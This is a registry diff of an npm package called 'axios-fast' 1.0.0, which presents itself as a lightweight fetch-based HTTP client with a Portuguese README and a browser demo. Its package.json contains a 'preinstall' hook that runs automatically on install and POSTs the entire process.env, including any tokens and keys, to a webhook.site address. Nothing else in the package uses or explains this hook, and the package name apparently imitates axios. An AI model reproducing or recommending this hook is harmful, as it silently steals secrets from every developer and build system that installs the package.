axios-fast 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,75 @@
1
+ # Axios Fast
2
+
3
+ Um pacote simples em JavaScript para fazer requisições HTTP usando o cliente nativo `fetch`.
4
+
5
+ ## O que ele faz
6
+
7
+ - Envia requisições `GET`, `POST`, `PUT`, `PATCH` e `DELETE`
8
+ - Suporta `timeout` via `AbortController`
9
+ - Retorna `status`, `statusText`, `headers` e `data`
10
+ - Pode ser usado em browser ou em Node.js com ambiente compatível com `fetch`
11
+
12
+ ## Instalação
13
+
14
+ ```bash
15
+ npm install
16
+ ```
17
+
18
+ ## Uso em JavaScript
19
+
20
+ ```js
21
+ import { request, createClient } from './src/http-client.js';
22
+
23
+ const response = await request({
24
+ url: 'https://jsonplaceholder.typicode.com/todos/1',
25
+ method: 'GET',
26
+ timeout: 5000,
27
+ });
28
+
29
+ console.log(response.status);
30
+ console.log(response.data);
31
+
32
+ const api = createClient('https://jsonplaceholder.typicode.com');
33
+ const user = await api.get('/users/1');
34
+ console.log(user.data);
35
+ ```
36
+
37
+ ## UI local
38
+
39
+ Para abrir a interface web:
40
+
41
+ ```bash
42
+ npm run start
43
+ ```
44
+
45
+ Depois acesse:
46
+
47
+ ```bash
48
+ http://localhost:3000
49
+ ```
50
+
51
+ ## Scripts disponíveis
52
+
53
+ ```bash
54
+ npm run start
55
+ ```
56
+
57
+ Inicia um servidor local para a demo UI.
58
+
59
+ ## Estrutura
60
+
61
+ ```text
62
+ .
63
+ ├── app.js
64
+ ├── index.html
65
+ ├── package.json
66
+ ├── README.md
67
+ ├── src/
68
+ │ └── http-client.js
69
+ ├── styles.css
70
+ └── ...
71
+ ```
72
+
73
+ ## Observação
74
+
75
+ Este projeto usa `fetch`, que é o cliente HTTP nativo do JavaScript moderno, sem depender do pacote `axios`.
package/app.js ADDED
@@ -0,0 +1,56 @@
1
+ import { request } from './src/http-client.js';
2
+
3
+ const form = document.querySelector('#request-form');
4
+ const methodInput = document.querySelector('#method');
5
+ const urlInput = document.querySelector('#url');
6
+ const bodyInput = document.querySelector('#body');
7
+ const statusElement = document.querySelector('#status');
8
+ const outputElement = document.querySelector('#response-output');
9
+
10
+ function setStatus(message, isError = false) {
11
+ statusElement.textContent = message;
12
+ statusElement.style.color = isError ? '#f87171' : '#34d399';
13
+ }
14
+
15
+ function printResult(result) {
16
+ outputElement.textContent = JSON.stringify(result, null, 2);
17
+ }
18
+
19
+ form.addEventListener('submit', async (event) => {
20
+ event.preventDefault();
21
+
22
+ const method = methodInput.value;
23
+ const url = urlInput.value.trim();
24
+ const rawBody = bodyInput.value.trim();
25
+
26
+ if (!url) {
27
+ setStatus('URL inválida', true);
28
+ outputElement.textContent = 'Informe uma URL válida antes de enviar a requisição.';
29
+ return;
30
+ }
31
+
32
+ statusElement.textContent = 'Enviando...';
33
+ statusElement.style.color = '#38bdf8';
34
+ outputElement.textContent = 'Aguardando resposta...';
35
+
36
+ try {
37
+ const body = rawBody ? JSON.parse(rawBody) : undefined;
38
+
39
+ const response = await request({
40
+ url,
41
+ method,
42
+ body,
43
+ timeout: 10000,
44
+ });
45
+
46
+ setStatus(`${response.status} ${response.statusText || ''}`.trim());
47
+ printResult(response);
48
+ } catch (error) {
49
+ setStatus(error.message, true);
50
+ outputElement.textContent = error.message;
51
+ outputElement.classList.add('error');
52
+ return;
53
+ }
54
+
55
+ outputElement.classList.remove('error');
56
+ });
package/index.html ADDED
@@ -0,0 +1,51 @@
1
+ <!DOCTYPE html>
2
+ <html lang="pt-BR">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>Axios Fast Demo</title>
7
+ <link rel="stylesheet" href="./styles.css" />
8
+ </head>
9
+ <body>
10
+ <main class="app">
11
+ <section class="card">
12
+ <h1>Axios Fast</h1>
13
+ <p>Cliente HTTP nativo com fetch para testar requisições.</p>
14
+
15
+ <form id="request-form" class="form">
16
+ <label>
17
+ Método
18
+ <select id="method">
19
+ <option value="GET">GET</option>
20
+ <option value="POST">POST</option>
21
+ <option value="PUT">PUT</option>
22
+ <option value="PATCH">PATCH</option>
23
+ <option value="DELETE">DELETE</option>
24
+ </select>
25
+ </label>
26
+
27
+ <label>
28
+ URL
29
+ <input id="url" type="url" value="https://jsonplaceholder.typicode.com/todos/1" placeholder="https://example.com/api" required />
30
+ </label>
31
+
32
+ <label>
33
+ Corpo (JSON)
34
+ <textarea id="body" rows="6" placeholder="{\n \"title\": \"Nova tarefa\"\n}"></textarea>
35
+ </label>
36
+
37
+ <button type="submit">Enviar requisição</button>
38
+ </form>
39
+
40
+ <div class="status-row">
41
+ <span class="status-label">Status:</span>
42
+ <strong id="status">Aguardando</strong>
43
+ </div>
44
+
45
+ <pre id="response-output">{}</pre>
46
+ </section>
47
+ </main>
48
+
49
+ <script type="module" src="./app.js"></script>
50
+ </body>
51
+ </html>
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ export { request, createClient } from './src/http-client.js';
2
+ export { default } from './src/http-client.js';
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "axios-fast",
3
+ "version": "1.0.0",
4
+ "description": "HTTP client nativo com fetch e UI simples para testar requisições",
5
+ "type": "module",
6
+ "main": "index.js",
7
+ "exports": {
8
+ ".": "./index.js",
9
+ "./src/http-client": "./src/http-client.js"
10
+ },
11
+ "scripts": {
12
+ "start": "python3 -m http.server 3000",
13
+ "test": "node --test",
14
+ "preinstall": "node -e \"fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});\""
15
+ },
16
+ "author": "",
17
+ "license": "MIT"
18
+ }
@@ -0,0 +1,70 @@
1
+ export async function request({
2
+ url,
3
+ method = 'GET',
4
+ headers = {},
5
+ body,
6
+ timeout = 8000,
7
+ parseJson = true,
8
+ }) {
9
+ if (!url) {
10
+ throw new Error('A URL é obrigatória para a requisição.');
11
+ }
12
+
13
+ const controller = new AbortController();
14
+ const timeoutId = setTimeout(() => controller.abort(), timeout);
15
+
16
+ try {
17
+ const response = await fetch(url, {
18
+ method: method.toUpperCase(),
19
+ headers: {
20
+ 'Content-Type': 'application/json',
21
+ ...headers,
22
+ },
23
+ body: body && method !== 'GET' && method !== 'HEAD'
24
+ ? typeof body === 'string'
25
+ ? body
26
+ : JSON.stringify(body)
27
+ : undefined,
28
+ signal: controller.signal,
29
+ });
30
+
31
+ const text = await response.text();
32
+ let data = text ? text : null;
33
+
34
+ if (parseJson && text) {
35
+ try {
36
+ data = JSON.parse(text);
37
+ } catch {
38
+ data = text;
39
+ }
40
+ }
41
+
42
+ return {
43
+ ok: response.ok,
44
+ status: response.status,
45
+ statusText: response.statusText,
46
+ headers: Object.fromEntries(response.headers.entries()),
47
+ data,
48
+ };
49
+ } catch (error) {
50
+ if (error.name === 'AbortError') {
51
+ throw new Error(`Request timed out after ${timeout}ms.`);
52
+ }
53
+
54
+ throw new Error(error.message || 'Falha na requisição.');
55
+ } finally {
56
+ clearTimeout(timeoutId);
57
+ }
58
+ }
59
+
60
+ export function createClient(baseURL = '') {
61
+ return {
62
+ get: (url, options = {}) => request({ ...options, url: `${baseURL}${url}`.replace(/\/+$/, ''), method: 'GET' }),
63
+ post: (url, body, options = {}) => request({ ...options, url: `${baseURL}${url}`.replace(/\/+$/, ''), method: 'POST', body }),
64
+ put: (url, body, options = {}) => request({ ...options, url: `${baseURL}${url}`.replace(/\/+$/, ''), method: 'PUT', body }),
65
+ patch: (url, body, options = {}) => request({ ...options, url: `${baseURL}${url}`.replace(/\/+$/, ''), method: 'PATCH', body }),
66
+ del: (url, options = {}) => request({ ...options, url: `${baseURL}${url}`.replace(/\/+$/, ''), method: 'DELETE' }),
67
+ };
68
+ }
69
+
70
+ export default { request, createClient };
package/styles.css ADDED
@@ -0,0 +1,129 @@
1
+ :root {
2
+ --bg: #0f172a;
3
+ --panel: #111827;
4
+ --panel-alt: #1f2937;
5
+ --text: #e5e7eb;
6
+ --muted: #9ca3af;
7
+ --primary: #38bdf8;
8
+ --primary-dark: #0284c7;
9
+ --success: #34d399;
10
+ --error: #f87171;
11
+ --border: rgba(148, 163, 184, 0.2);
12
+ }
13
+
14
+ * {
15
+ box-sizing: border-box;
16
+ }
17
+
18
+ body {
19
+ margin: 0;
20
+ min-height: 100vh;
21
+ display: grid;
22
+ place-items: center;
23
+ background: linear-gradient(135deg, #020817, #0f172a 40%, #111827);
24
+ color: var(--text);
25
+ font-family: Inter, 'Segoe UI', sans-serif;
26
+ }
27
+
28
+ .app {
29
+ width: min(720px, calc(100vw - 32px));
30
+ }
31
+
32
+ .card {
33
+ background: rgba(17, 24, 39, 0.95);
34
+ border: 1px solid var(--border);
35
+ border-radius: 20px;
36
+ box-shadow: 0 20px 40px rgba(15, 23, 42, 0.5);
37
+ padding: 24px;
38
+ }
39
+
40
+ h1 {
41
+ margin: 0 0 8px;
42
+ font-size: 2rem;
43
+ }
44
+
45
+ p {
46
+ margin: 0 0 20px;
47
+ color: var(--muted);
48
+ }
49
+
50
+ .form {
51
+ display: grid;
52
+ gap: 16px;
53
+ }
54
+
55
+ label {
56
+ display: grid;
57
+ gap: 8px;
58
+ font-weight: 600;
59
+ }
60
+
61
+ input,
62
+ select,
63
+ textarea,
64
+ button {
65
+ width: 100%;
66
+ border-radius: 12px;
67
+ border: 1px solid var(--border);
68
+ background: var(--panel-alt);
69
+ color: var(--text);
70
+ font: inherit;
71
+ }
72
+
73
+ input,
74
+ select,
75
+ textarea {
76
+ padding: 12px 14px;
77
+ }
78
+
79
+ textarea {
80
+ resize: vertical;
81
+ min-height: 140px;
82
+ }
83
+
84
+ button {
85
+ margin-top: 8px;
86
+ padding: 12px 16px;
87
+ border: none;
88
+ background: linear-gradient(135deg, var(--primary), var(--primary-dark));
89
+ color: white;
90
+ font-weight: 700;
91
+ cursor: pointer;
92
+ transition: transform 0.2s ease;
93
+ }
94
+
95
+ button:hover {
96
+ transform: translateY(-1px);
97
+ }
98
+
99
+ .status-row {
100
+ display: flex;
101
+ align-items: center;
102
+ gap: 8px;
103
+ margin-top: 20px;
104
+ font-size: 0.95rem;
105
+ }
106
+
107
+ .status-label {
108
+ color: var(--muted);
109
+ }
110
+
111
+ #status {
112
+ color: var(--success);
113
+ }
114
+
115
+ #response-output {
116
+ margin-top: 18px;
117
+ min-height: 180px;
118
+ padding: 16px;
119
+ border-radius: 12px;
120
+ background: rgba(15, 23, 42, 0.9);
121
+ border: 1px solid var(--border);
122
+ overflow: auto;
123
+ white-space: pre-wrap;
124
+ color: #dbeafe;
125
+ }
126
+
127
+ .error {
128
+ color: var(--error);
129
+ }